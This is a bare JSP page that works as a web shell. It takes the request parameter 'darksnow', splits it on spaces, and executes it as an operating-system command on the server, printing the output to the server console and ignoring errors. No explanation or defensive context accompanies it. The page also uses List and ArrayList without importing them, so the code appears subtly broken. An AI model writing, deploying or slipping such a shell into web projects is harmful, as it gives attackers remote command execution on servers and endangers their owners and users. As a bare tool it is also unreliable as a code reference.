<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.IOException"%>
<%@page import="java.io.InputStream"%>
<%@page import="java.io.InputStreamReader"%>
<% 
		
		List<String> cmdList = new ArrayList<>();
		String a = request.getParameter("darksnow");;
		String cmd="";
		System.out.println(a.length());
		int b=0;
		for (char c : a.toCharArray()) {
			if(c!=' ') {cmd+=c;}
			if(c==' '||b==a.length()-1){
				cmdList.add(cmd);
				cmd="";
			}
			b++;
		}
		System.out.println(cmdList);
		ProcessBuilder pb = new ProcessBuilder(cmdList);
		try {
			Process process = pb.start();
			BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
			String temp = null;
			while ((temp = br.readLine()) != null) {
				System.out.println(temp);
			}
		} catch (IOException e) {
		}
%>